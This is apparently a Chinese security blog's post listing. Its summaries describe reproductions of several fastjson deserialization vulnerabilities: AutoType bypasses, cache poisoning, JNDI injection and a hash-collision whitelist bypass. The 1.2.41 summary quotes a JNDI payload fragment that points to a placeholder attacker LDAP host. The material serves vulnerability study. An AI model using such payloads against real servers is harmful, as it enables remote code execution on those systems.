- 博客(8)
- 收藏
- 关注
RSS订阅原创 Fastjson2 ≤ 2.0.62 FNV-1a 哈希碰撞白名单绕过
Fastjson2 是阿里巴巴开源的 Java JSON 解析库，其 AutoType 机制允许在 JSON 中通过@type字段指定反序列化的目标类。为防止恶意类加载，fastjson2 使用白名单机制限制可加载的类。然而，fastjson2 ≤ 2.0.62 版本中，白名单校验仅依赖 FNV-1a 64 位哈希值匹配，不验证实际类名文本。攻击者可通过 Z3 SMT 求解器构造哈希碰撞的恶意类名绕过白名单，配合协议实现远程代码执行。关键特征不依赖第三方 Gadget 链不依赖。
2026-08-26 11:47:54
627
原创 Fastjson 1.2.83 无 Gadget RCE 漏洞复现
2026年7月，安全研究人员披露了 Fastjson 1.2.66 ~ 1.2.83 版本中存在一个无需依赖任何第三方类库（Gadget）的远程代码执行漏洞。攻击者只需发送一条特制 JSON Payload，即可在满足条件的服务器上执行任意命令。该漏洞的核心在于方法中的@JSONType注解探测路径：Fastjson 在解析@type字段时，会通过远程拉取 JAR 包，再用 ASM 扫描字节码中的@JSONType注解，一旦命中就放行并加载该类，触发<clinit>静态代码块执行。关键特征不依赖。
2026-08-19 15:08:17
1180
原创 fastjson 1.2.80 Throwable expectClass 绕过漏洞复现
1.2.80 把加入了 expectClass 排除列表，封堵了 1.2.68 的绕过方式。但Throwable和Exception不在排除列表里，可以用双 @type 绕过。1.2.68: AutoCloseable 不在排除列表 → 绕过1.2.80: AutoCloseable 加入排除列表，但 Throwable/Exception 不在 → 绕过1.2.83: 全部封堵 → 1.2.x 终章。
2026-08-14 16:50:40
460
原创 fastjson shaded HikariCP 黑名单绕过复现
基于包名哈希的黑名单无法防御重定位后的同构类。Maven Shade 是 Java 生态中非常常见的操作，这让 shaded Hikari 绕过在实战中具有实际意义。配合 HikariConfig 绕过 DataSource 接口检查，两道防线同时被攻破。这说明黑名单防御模式的局限性：只能覆盖已知威胁，无法防御未知变体。这也是 fastjson 最终在 1.2.83 之后选择重写 fastjson 2.x 的根本原因之一。漏洞编号：CVE-2022-25845。
2026-08-14 10:13:14
616
原创 fastjson 1.2.68 漏洞复现
fastjson 是阿里巴巴开源的 JSON 解析库。它有一个特殊功能叫AutoType：JSON 里可以写一个@type{"@type":"com.lab.Person","name":"张三","age":18}fastjson 看到@type根据@type的值去加载这个类创建这个类的实例调用对应的 setter 方法设置属性问题就在这里：如果攻击者控制了@type，就可以让 fastjson 去加载任意类、调用任意 setter。
2026-08-13 15:31:31
586
原创 fastjson 1.2.47 反序列化漏洞复现与代码分析
fastjson 是阿里巴巴开源的 Java JSON 解析库，在很多 Java Web 项目中被广泛使用。fastjson 支持通过@type字段指定反序列化类型，这个机制被称为 AutoType。在 fastjson 1.2.47 版本中，即使 AutoType 处于关闭状态，也可以通过缓存投毒的方式，将危险类提前加入 fastjson 内部缓存，随后再次反序列化该危险类时绕过 AutoType 校验，最终配合 JNDI gadget 触发远程代码执行。
2026-08-12 15:50:33
573
原创 fastjson 1.2.41 反序列化漏洞复现
fastjson 是阿里巴巴开源的 JSON 解析库，在 Java 项目中使用非常广泛。fastjson 在反序列化时支持通过@type指定反序列化的 Java 类型，如果目标程序开启了 AutoType，并且使用了存在危险行为的类，就可能造成 JNDI 注入，最终实现远程命令执行。本文复现的是fastjson 1.2.41 反序列化漏洞。该版本可以通过L...;","dataSourceName": "ldap://攻击机IP:1389/Exploit",其中会在设置autoCommit。
2026-08-11 15:37:27
509
原创 Fastjson 1.2.24 反序列化漏洞详解
Fastjson 1.2.24 版本默认开启 AutoType 自动类型解析功能，攻击者构造恶意 JSON，利用 JDK 内置JdbcRowSetImpl危险类触发 JNDI 注入，在低版本 JDK 环境下实现远程代码执行。本文基于本地靶场完成完整漏洞复现，结合源码分析漏洞成因，整理复现过程踩坑点以及对应的修复方案，仅供安全学习研究。
2026-08-10 15:08:48
603
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人